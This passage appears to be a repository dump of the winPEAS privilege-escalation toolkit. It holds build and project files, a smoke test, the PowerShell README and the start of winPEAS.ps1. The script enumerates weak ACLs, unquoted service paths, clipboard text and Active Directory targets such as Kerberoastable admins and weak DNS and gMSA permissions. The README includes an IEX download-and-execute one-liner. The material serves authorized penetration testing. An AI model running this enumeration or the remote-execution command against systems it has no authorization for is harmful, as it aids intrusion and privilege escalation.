Include=\"3rdParty\\AlphaFS\\Resources.resx\">\n      <Generator>ResXFileCodeGenerator</Generator>\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"Properties\\Resources.de.resx\" />\n    <EmbeddedResource Include=\"Properties\\Resources.es.resx\" />\n    <EmbeddedResource Include=\"Properties\\Resources.fr.resx\" />\n    <EmbeddedResource Include=\"Properties\\Resources.it.resx\" />\n    <EmbeddedResource Include=\"Properties\\Resources.pl.resx\" />\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\n      <Generator>ResXFileCodeGenerator</Generator>\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"Properties\\Resources.ru.resx\" />\n    <EmbeddedResource Include=\"Properties\\Resources.zh-CN.resx\" />\n  </ItemGroup>\n  <ItemGroup>\n    <BootstrapperPackage Include=\".NETFramework,Version=v4.8\">\n      <Visible>False</Visible>\n      <ProductName>Microsoft .NET Framework 4.8 %28x86 and x64%29</ProductName>\n      <Install>true</Install>\n    </BootstrapperPackage>\n    <BootstrapperPackage Include=\"Microsoft.Net.Framework.3.5.SP1\">\n      <Visible>False</Visible>\n      <ProductName>.NET Framework 3.5 SP1</ProductName>\n      <Install>false</Install>\n    </BootstrapperPackage>\n  </ItemGroup>\n  <ItemGroup />\n  <ItemGroup>\n    <EmbeddedResource Include=\"costura32\\SQLite.Interop.dll\" />\n    <EmbeddedResource Include=\"costura64\\SQLite.Interop.dll\" />\n    <Content Include=\"FodyWeavers.xml\" />\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.props'))\" />\n    <Error Condition=\"!Exists('..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.targets'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\build\\net451\\Stub.System.Data.SQLite.Core.NetFramework.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\build\\net451\\Stub.System.Data.SQLite.Core.NetFramework.targets'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Fody.6.5.5\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Fody.6.5.5\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.props'))\" />\n    <Error Condition=\"!Exists('..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.targets'))\" />\n  </Target>\n  <Import Project=\"..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.targets\" Condition=\"Exists('..\\packages\\EntityFramework.6.4.4\\build\\EntityFramework.targets')\" />\n  <Import Project=\"..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\build\\net451\\Stub.System.Data.SQLite.Core.NetFramework.targets\" Condition=\"Exists('..\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\build\\net451\\Stub.System.Data.SQLite.Core.NetFramework.targets')\" />\n  <Import Project=\"..\\packages\\Fody.6.5.5\\build\\Fody.targets\" Condition=\"Exists('..\\packages\\Fody.6.5.5\\build\\Fody.targets')\" />\n  <Import Project=\"..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.targets\" Condition=\"Exists('..\\packages\\Costura.Fody.5.7.0\\build\\Costura.Fody.targets')\" />\n</Project>\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"Current\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Release|AnyCPU'\">\r\n    <StartArguments>\r\n    </StartArguments>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'\">\r\n    <StartArguments>cloudinfo</StartArguments>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Debug|x64'\">\r\n    <StartArguments>debug</StartArguments>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Release|x64'\">\r\n    <StartArguments>fast</StartArguments>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Debug|x86'\">\r\n    <StartArguments>\r\n    </StartArguments>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Release|x86'\">\r\n    <StartArguments>\r\n    </StartArguments>\r\n  </PropertyGroup>\r\n  <PropertyGroup>\r\n    <PublishUrlHistory>publish\\</PublishUrlHistory>\r\n    <InstallUrlHistory />\r\n    <SupportUrlHistory />\r\n    <UpdateUrlHistory />\r\n    <BootstrapperUrlHistory />\r\n    <ErrorReportUrlHistory />\r\n    <FallbackCulture>en-US</FallbackCulture>\r\n    <VerifyUploadedFiles>false</VerifyUploadedFiles>\r\n  </PropertyGroup>\r\n</Project>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS.Tests/SmokeTests.cs",
    "content": "﻿using Microsoft.VisualStudio.TestTools.UnitTesting;\nusing System;\n\nnamespace winPEAS.Tests\n{\n    [TestClass]\n    public class SmokeTests\n    {\n        [TestMethod]\n        public void ShouldRunWinPeass()\n        {\n            try\n            {\n                string[] args = new string[] { \"systeminfo\", \"userinfo\", \"networkinfo\", \"servicesinfo\",\"processinfo\" };\n                Program.Main(args);\n            }\n            catch (Exception e)\n            {\n                Assert.Fail($\"Exception thrown: {e.Message}\");\n            }\n        }\n    }\n}\n\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.29326.143\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"winPEAS\", \"winPEAS\\winPEAS.csproj\", \"{D934058E-A7DB-493F-A741-AE8E3DF867F4}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"winPEAS.Tests\", \"Tests\\winPEAS.Tests.csproj\", \"{66AA4619-4D0F-4226-9D96-298870E9BB50}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|Any CPU = Release|Any CPU\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x64.Build.0 = Debug|x64\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x86.ActiveCfg = Debug|x86\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Debug|x86.Build.0 = Debug|x86\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x64.ActiveCfg = Release|x64\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x64.Build.0 = Release|x64\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x86.ActiveCfg = Release|x86\n\t\t{D934058E-A7DB-493F-A741-AE8E3DF867F4}.Release|x86.Build.0 = Release|x86\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|x86.ActiveCfg = Debug|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Debug|x86.Build.0 = Debug|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|x64.Build.0 = Release|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|x86.ActiveCfg = Release|Any CPU\n\t\t{66AA4619-4D0F-4226-9D96-298870E9BB50}.Release|x86.Build.0 = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {D5215BC3-80A2-4E63-B560-A8F78A763B7C}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "winPEAS/winPEASps1/README.md",
    "content": "# Windows Privilege Escalation Awesome Script (.ps1)\n\n![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png)\n\n**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)**\n\nCheck also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)**\n\n## Mantainer\n\nThe official **maintainer of this script is [RandolphConley](https://github.com/RandolphConley)**.\n\n## Quick Start\n\nDownload the **[latest releas from here](https://github.com/peass-ng/PEASS-ng/releases/latest)**.\n\n\n```bash\npowershell \"IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')\"\n```\n\n\n## Recent Updates\n\n- Added Active Directory awareness checks to highlight Kerberos-only environments (NTLM restrictions) and time skew issues before attempting ticket-based attacks.\n- winPEAS.ps1 now reviews AD-integrated DNS ACLs to flag zones where low-privileged users can register/modify records (dynamic DNS hijack risk).\n- Enumerates high-value SPN accounts and weak gMSA password readers so you can immediately target Kerberoastable admins or abused service accounts.\n- Surfaces Schannel certificate mapping settings to warn about ESC10-style certificate abuse opportunities when UPN mapping is enabled.\n\n## Advisory\n\nAll the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.\n"
  },
  {
    "path": "winPEAS/winPEASps1/winPEAS.ps1",
    "content": "<#\n.SYNOPSIS\n  PowerShell adaptation of WinPEAS.exe / WinPeas.bat\n.DESCRIPTION\n  For the legal enumeration of windows based computers that you either own or are approved to run this script on\n.EXAMPLE\n  # Default - normal operation with username/password audit in drives/registry\n  .\\winPeas.ps1\n\n  # Include Excel files in search: .xls, .xlsx, .xlsm\n  .\\winPeas.ps1 -Excel\n\n  # Full audit - normal operation with APIs / Keys / Tokens\n  ## This will produce false positives ## \n  .\\winPeas.ps1 -FullCheck \n\n  # Add Time stamps to each command\n  .\\winPeas.ps1 -TimeStamp\n\n.NOTES\n  Version:                    1.3\n  PEASS-ng Original Author:   PEASS-ng\n  winPEAS.ps1 Author:         @RandolphConley\n  Creation Date:              10/4/2022\n  Website:                    https://github.com/peass-ng/PEASS-ng\n\n  TESTED: PoSh 5,7\n  UNTESTED: PoSh 3,4\n  NOT FULLY COMPATIBLE: PoSh 2 or lower\n#>\n\n######################## FUNCTIONS ########################\n\n[CmdletBinding()]\nparam(\n  [switch]$TimeStamp,\n  [switch]$FullCheck,\n  [switch]$Excel\n)\n\n# Gather KB from all patches installed\nfunction returnHotFixID {\n  param(\n    [string]$title\n  )\n  # Match on KB or if patch does not have a KB, return end result\n  if (($title | Select-String -AllMatches -Pattern 'KB(\\d{4,6})').Matches.Value) {\n    return (($title | Select-String -AllMatches -Pattern 'KB(\\d{4,6})').Matches.Value)\n  }\n  elseif (($title | Select-String -NotMatch -Pattern 'KB(\\d{4,6})').Matches.Value) {\n    return (($title | Select-String -NotMatch -Pattern 'KB(\\d{4,6})').Matches.Value)\n  }\n}\n\nfunction Start-ACLCheck {\n  param(\n    $Target, $ServiceName)\n  # Gather ACL of object\n  if ($null -ne $target) {\n    try {\n      $ACLObject = Get-Acl $target -ErrorAction SilentlyContinue\n    }\n    catch { $null }\n    \n    # If Found, Evaluate Permissions\n    if ($ACLObject) { \n      $Identity = @()\n      $Identity += \"$env:COMPUTERNAME\\$env:USERNAME\"\n      if ($ACLObject.Owner -like $Identity ) { Write-Host \"$Identity has ownership of $Target\" -ForegroundColor Red }\n      # This should now work for any language. Command runs whoami group, removes the first two line of output, converts from csv to object, but adds \"group name\" to the first column.\n      whoami.exe /groups /fo csv | select-object -skip 2 | ConvertFrom-Csv -Header 'group name' | Select-Object -ExpandProperty 'group name' | ForEach-Object { $Identity += $_ }\n      $IdentityFound = $false\n      foreach ($i in $Identity) {\n        $permission = $ACLObject.Access | Where-Object { $_.IdentityReference -like $i }\n        $UserPermission = \"\"\n        switch -WildCard ($Permission.FileSystemRights) {\n          \"FullControl\" { \n            $userPermission = \"FullControl\"\n            $IdentityFound = $true \n          }\n          \"Write*\" { \n            $userPermission = \"Write\"\n            $IdentityFound = $true \n          }\n          \"Modify\" { \n            $userPermission = \"Modify\"\n            $IdentityFound = $true \n          }\n        }\n        Switch ($permission.RegistryRights) {\n          \"FullControl\" { \n            $userPermission = \"FullControl\"\n            $IdentityFound = $true \n          }\n        }\n        if ($UserPermission) {\n          if ($ServiceName) { Write-Host \"$ServiceName found with permissions issue:\" -ForegroundColor Red }\n          Write-Host -ForegroundColor red \"Identity $($permission.IdentityReference) has '$userPermission' perms for $Target\"\n        }\n      }    \n      # Identity Found Check - If False, loop through and stop at root of drive\n      if ($IdentityFound -eq $false) {\n        if ($Target.Length -gt 3) {\n          $Target = Split-Path $Target\n          Start-ACLCheck $Target -ServiceName $ServiceName\n        }\n      }\n    }\n    else {\n      # If not found, split path one level and Check again\n      $Target = Split-Path $Target\n      Start-ACLCheck $Target $ServiceName\n    }\n  }\n}\n\nfunction UnquotedServicePathCheck {\n  Write-Host \"Fetching the list of services, this may take a while...\"\n  $services = Get-WmiObject -Class Win32_Service | \n    Where-Object { $_.PathName -inotmatch \"`\"\" -and $_.PathName -inotmatch \":\\\\Windows\\\\\" -and ($_.StartMode -eq \"Auto\" -or $_.StartMode -eq \"Manual\") -and ($_.State -eq \"Running\" -or $_.State -eq \"Stopped\") }\n  if ($($services | Measure-Object).Count -lt 1) {\n    Write-Host \"No unquoted service paths were found\"\n  }\n  else {\n    $services | ForEach-Object {\n      Write-Host \"Unquoted Service Path found!\" -ForegroundColor red\n      Write-Host Name: $_.Name\n      Write-Host PathName: $_.PathName\n      Write-Host StartName: $_.StartName \n      Write-Host StartMode: $_.StartMode\n      Write-Host Running: $_.State\n    } \n  }\n}\n\nfunction TimeElapsed { \n  Write-Host \"Time Running: $($stopwatch.Elapsed.Minutes):$($stopwatch.Elapsed.Seconds)\" \n}\n\nfunction Get-ClipBoardText {\n  Add-Type -AssemblyName PresentationCore\n  $text = [Windows.Clipboard]::GetText()\n  if ($text) {\n    Write-Host \"\"\n    if ($TimeStamp) { TimeElapsed }\n    Write-Host -ForegroundColor Blue \"=========|| ClipBoard text found:\"\n    Write-Host $text\n  }\n}\n\nfunction Get-DomainContext {\n  try {\n    return [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain()\n  }\n  catch {\n    return $null\n  }\n}\n\nfunction Convert-SidToName {\n  param(\n    $SidInput\n  )\n  if ($null -eq $SidInput) { return $null }\n  try {\n    if ($SidInput -is [System.Security.Principal.SecurityIdentifier]) {\n      $sidObject = $SidInput\n    }\n    else {\n      $sidObject = New-Object System.Security.Principal.SecurityIdentifier($SidInput)\n    }\n    return $sidObject.Translate([System.Security.Principal.NTAccount]).Value\n  }\n  catch {\n    try { return $sidObject.Value }\n    catch { return [string]$SidInput }\n  }\n}\n\nfunction Get-WeakDnsUpdateFindings {\n  param(\n    [System.DirectoryServices.ActiveDirectory.Domain]$DomainContext\n  )\n  if (-not $DomainContext) { return @() }\n  $domainDN = $DomainContext.GetDirectoryEntry().distinguishedName\n  $forestDN = $DomainContext.Forest.RootDomain.GetDirectoryEntry().distinguishedName\n  $paths = @(\n    \"LDAP://CN=MicrosoftDNS,DC=DomainDnsZones,$domainDN\",\n    \"LDAP://CN=MicrosoftDNS,DC=ForestDnsZones,$forestDN\",\n    \"LDAP://CN=MicrosoftDNS,$domainDN\"\n  )\n  $weakPatterns = @(\n    \"authenticated users\",\n    \"everyone\",\n    \"domain users\"\n  )\n  $dangerousRights = @(\"GenericAll\", \"GenericWrite\", \"CreateChild\", \"WriteProperty\", \"WriteDacl\", \"WriteOwner\")\n  $findings = @()\n  foreach ($path in $paths) {\n    try {\n      $container = New-Object System.DirectoryServices.DirectoryEntry($path)\n      $null = $container.NativeGuid\n    }\n    catch { continue }\n    $searcher = New-Object System.DirectoryServices.DirectorySearcher($container)\n    $searcher.Filter = \"(objectClass=dnsZone)\"\n    $searcher.PageSize = 500\n    $results = $searcher.FindAll()\n    foreach ($result in $results) {\n      try {\n        $zoneEntry = $result.GetDirectoryEntry()\n        $zoneEntry.Options.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl\n        $sd = $zoneEntry.ObjectSecurity\n        foreach ($ace in $sd.Access) {\n          if ($ace.AccessControlType -ne 'Allow') { continue }\n          $principal = Convert-SidToName $ace.IdentityReference\n          if (-not $principal) { continue }\n          $principalLower = $principal.ToLower()\n          if (-not ($weakPatterns | Where-Object { $principalLower -like \"*${_}*\" })) { continue }\n          $rights = $ace.ActiveDirectoryRights.ToString()\n          if (-not ($dangerousRights | Where-Object { $rights -like \"*${_}*\" })) { continue }\n          $findings += [pscustomobject]@{\n            Zone      = $zoneEntry.Properties[\"name\"].Value\n            Partition = $path.Split(',')[1]\n            Principal = $principal\n            Rights    = $rights\n          }\n        }\n      }\n      catch { continue }\n    }\n  }\n  return ($findings | Sort-Object Zone, Principal -Unique)\n}\n\nfunction Get-GmsaReadersReport {\n  param(\n    [System.DirectoryServices.ActiveDirectory.Domain]$DomainContext\n  )\n  if (-not $DomainContext) { return @() }\n  $domainDN = $DomainContext.GetDirectoryEntry().distinguishedName\n  try {\n    $searcher = New-Object System.DirectoryServices.DirectorySearcher\n    $searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry(\"LDAP://$domainDN\")\n    $searcher.Filter = \"(&(objectClass=msDS-GroupManagedServiceAccount))\"\n    $searcher.PageSize = 500\n    [void]$searcher.PropertiesToLoad.Add(\"sAMAccountName\")\n    [void]$searcher.PropertiesToLoad.Add(\"msDS-GroupMSAMembership\")\n    $results = $searcher.FindAll()\n  }\n  catch { return @() }\n  $report = @()\n  foreach ($result in $results) {\n    $name = $result.Properties[\"samaccountname\"]\n    $blobs = $result.Properties[\"msds-groupmsamembership\"]\n    if (-not $blobs) { continue }\n    $principals = @()\n    foreach ($blob in $blobs) {\n      try {\n        $raw = New-Object System.Security.AccessControl.RawSecurityDescriptor (, $blob)\n        foreach ($ace in $raw.DiscretionaryAcl) {\n          $sid = Convert-SidToName $ace.SecurityIdentifier\n          if ($sid) { $principals += $sid }\n        }\n      }\n      catch { continue }\n    }\n    if ($principals.Count -eq 0) { continue }\n    $principals = $principals | Sort-Object -Unique\n    $weak = $principals | Where-Object { $_ -match 'Domain Users|Authenticated Users|Everyone' }\n    $report += [pscustomobject]@{\n      Account        = ($name | Select-Object -First 1)\n      Allowed        = ($principals -join \", \")\n      WeakPrincipals = if ($weak) { $weak -join \", \" } else { \"\" }\n    }\n  }\n  return $report\n}\n\nfunction Get-PrivilegedSpnTargets {\n  param(\n    [System.DirectoryServices.ActiveDirectory.Domain]$DomainContext\n  )\n  if (-not $DomainContext) { return @() }\n  $domainDN = $DomainContext.GetDirectoryEntry().distinguishedName\n  $keywords = @(\n    \"Domain Admin\",\n    \"Enterprise Admin\",\n    \"Administrators\",\n    \"Exchange\",\n    \"IT_\",\n    \"Schema Admin\",\n    \"Account Operator\",\n    \"Server Operator\",\n    \"Backup Operator\",\n    \"DnsAdmin\"\n  )\n  try {\n    $searcher = New-Object System.DirectoryServices.DirectorySearcher\n    $searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry(\"LDAP://$domainDN\")\n    $searcher.Filter = \"(&(objectClass=user)(servicePrincipalName=*))\"\n    $searcher.PageSize = 500\n    [void]$searcher.PropertiesToLoad.Add(\"sAMAccountName\")\n    [void]$searcher.PropertiesToLoad.Add(\"memberOf\")\n    $results = $searcher.FindAll()\n  }\n  catch { return @() }\n  $findings = @()\n  foreach ($res in $results) {\n    $groups = $res.Properties[\"memberof\"]\n    if (-not $groups) { continue }\n    $matchedGroups = @()\n    foreach ($group in $groups) {\n      $cn = ($group -split ',')[0] -replace '^CN=',''\n      if ($keywords | Where-Object { $cn -like \"*${_}*\" }) {\n        $matchedGroups += $cn\n      }\n    }\n    if ($matchedGroups.Count -gt 0) {\n      $findings += [pscustomobject]@{\n        User   = ($res.Properties[\"samaccountname\"] | Select-Object -First 1)\n        Groups = ($matchedGroups | Sort-Object -Unique) -join ', '\n      }\n    }\n  }\n  return ($findings | Sort-Object User | Select-Object -First 12)\n}\n\nfunction Get-NtlmPolicySummary {\n  try {\n    $msv = Get-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0' -ErrorAction Stop\n  }\n  catch { return $null }\n  $lsa = Get-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa' -ErrorAction SilentlyContinue\n  return [pscustomobject]@{\n    RestrictReceiving = $msv.RestrictReceivingNTLMTraffic\n    RestrictSending   = $msv.RestrictSendingNTLMTraffic\n    LmCompatibility   = if ($lsa) { $lsa.LmCompatibilityLevel } else { $null }\n  }\n}\n\nfunction Get-TimeSkewInfo {\n  param(\n    [System.DirectoryServices.ActiveDirectory.Domain]$DomainContext\n  )\n  if (-not $DomainContext) { return $null }\n  try {\n    $pdc = $DomainContext.PdcRoleOwner.Name\n  }\n  catch { return $null }\n  try {\n    $stripchart = w32tm /stripchart /computer:$pdc /dataonly /samples:3 2>$null\n    $sample = $stripchart | Where-Object { $_ -match ',' } | Select-Object -Last 1\n    if (-not $sample) { return $null }\n    $parts = $sample.Split(',')\n    if ($parts.Count -lt 2) { return $null }\n    $offsetString = $parts[1].Trim().TrimEnd('s')\n    [double]$offsetSeconds = 0\n    if (-not [double]::TryParse($offsetString, [ref]$offsetSeconds)) { return $null }\n    return [pscustomobject]@{\n      Source        = $pdc\n      OffsetSeconds = $offsetSeconds\n      RawSample     = $sample\n    }\n  }\n  catch {\n    return $null\n  }\n}\n\nfunction Get-AdcsSchannelInfo {\n  $info = [ordered]@{\n    MappingValue = $null\n    UpnMapping   = $false\n    ServiceState = $null\n  }\n  try {\n    $schannel = Get-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL' -Name 'CertificateMappingMethods' -ErrorAction Stop\n    $info.MappingValue = $schannel.CertificateMappingMethods\n    if (($schannel.CertificateMappingMethods -band 0x4) -eq 0x4) { $info.UpnMapping = $true }\n  }\n  catch { }\n  $svc = Get-Service -Name certsrv -ErrorAction SilentlyContinue\n  if ($svc) { $info.ServiceState = $svc.Status }\n  return [pscustomobject]$info\n}\n\n\nfunction Search-Excel {\n  [cmdletbinding()]\n  Param (\n      [parameter(Mandatory, ValueFromPipeline)]\n      [ValidateScript({\n          Try {\n              If (Test-Path -Path $_) {$True}\n              Else {Throw \"$($_) is not a valid path!\"}\n          }\n          Catch {\n              Throw $_\n          }\n      })]\n      [string]$Source,\n      [parameter(Mandatory)]\n      [string]$SearchText\n      #You can specify wildcard characters (*, ?)\n  )\n  $Excel = New-Object -ComObject Excel.Application\n  Try {\n      $Source = Convert-Path $Source\n  }\n  Catch {\n      Write-Warning \"Unable locate full path of $($Source)\"\n      BREAK\n  }\n  $Workbook = $Excel.Workbooks.Open($Source)\n  ForEach ($Worksheet in @($Workbook.Sheets)) {\n      # Find Method https://msdn.microsoft.com/en-us/vba/excel-vba/articles/range-find-method-excel\n      $Found = $WorkSheet.Cells.Find($SearchText)\n      If ($Found) {\n        try{  \n          # Address Method https://msdn.microsoft.com/en-us/vba/excel-vba/articles/range-address-property-excel\n          Write-Host \"Pattern: '$SearchText' found in $source\" -ForegroundColor Blue\n          $BeginAddress = $Found.Address(0,0,1,1)\n          #Initial Found Cell\n          New-Object -TypeName PSObject -Property ([Ordered]@{\n              WorkSheet = $Worksheet.Name\n              Column = $Found.Column\n              Row =$Found.Row\n              TextMatch = $Found.Text\n              Address = $BeginAddress\n          })\n          Do {\n              $Found = $WorkSheet.Cells.FindNext($Found)\n              $Address = $Found.Address(0,0,1,1)\n              If ($Address -eq $BeginAddress) {\n                Write-host \"Address is same as Begin Address\"\n                  BREAK\n              }\n              New-Object -TypeName PSObject -Property ([Ordered]@{\n                  WorkSheet = $Worksheet.Name\n                  Column = $Found.Column\n                  Row =$Found.Row\n                  TextMatch = $Found.Text\n                  Address = $Address\n              })                \n          } Until ($False)\n        }\n        catch {\n          # Null expression in Found\n        }\n      }\n      #Else {\n      #    Write-Warning \"[$($WorkSheet.Name)] Nothing Found!\"\n      #}\n  }\n  try{\n  $workbook.close($False)\n  [void][System.Runtime.InteropServices.Marshal]::ReleaseComObject([System.__ComObject]$excel)\n  [gc]::Collect()\n  [gc]::WaitForPendingFinalizers()\n  }\n  catch{\n    #Usually an RPC error\n  }\n  Remove-Variable excel -ErrorAction SilentlyContinue\n}\n\n#Get-CIMInstace/Get-WMIObject 'Win32_Product' calls kick off silent repairs on some programs causing potential issues after/while running this & doesn't always return a complete list.\n#Allegedly 'Win32reg_AddRemovePrograms' works fine now but this method ensures safety of target systems.\nfunction Get-InstalledApplications {\n[cmdletbinding()]\nparam(\n  [Parameter(DontShow)]\n  $keys = @('','\\Wow6432Node')\n)\n  foreach($key in $keys) {\n      try {\n        $apps = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$env:COMPUTERNAME).OpenSubKey(\"SOFTWARE$key\\Microsoft\\Windows\\CurrentVersion\\Uninstall\").GetSubKeyNames()\n      }\n      catch { \n        Continue \n      }\n    foreach($app in $apps) {\n        $program = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$env:COMPUTERNAME).OpenSubKey(\"SOFTWARE$key\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\$app\")\n        $name = $program.GetValue('DisplayName')\n      if($name) {\n        New-Object -TypeName PSObject -Property ([Ordered]@{       \n              Computername = $env:COMPUTERNAME\n              Software = $name \n              Version = $program.GetValue(\"DisplayVersion\")\n              Publisher = $program.GetValue(\"Publisher\")\n              InstallDate = $program.GetValue(\"InstallDate\")\n              UninstallString = $program.GetValue(\"UninstallString\")\n              Architecture = $(if($key -eq '\\wow6432node') {'x86'}else{'x64'})\n              Path = $program.Name\n        })\n      }\n    }\n  }\n}\n\nfunction Write-Color([String[]]$Text, [ConsoleColor[]]$Color) {\n  for ($i = 0; $i -lt $Text.Length; $i++) {\n    Write-Host $Text[$i] -Foreground $Color[$i] -NoNewline\n  }\n  Write-Host\n}\n\n\n#Write-Color \"    ((,.,/((((((((((((((((((((/,  */\" -Color Green\nWrite-Color \",/*,..*(((((((((((((((((((((((((((((((((,\" -Color Green\nWrite-Color \",*/((((((((((((((((((/,  .*//((//**, .*((((((*\" -Color Green\nWrite-Color \"((((((((((((((((\", \"* *****,,,\", \"\\########## .(* ,((((((\" 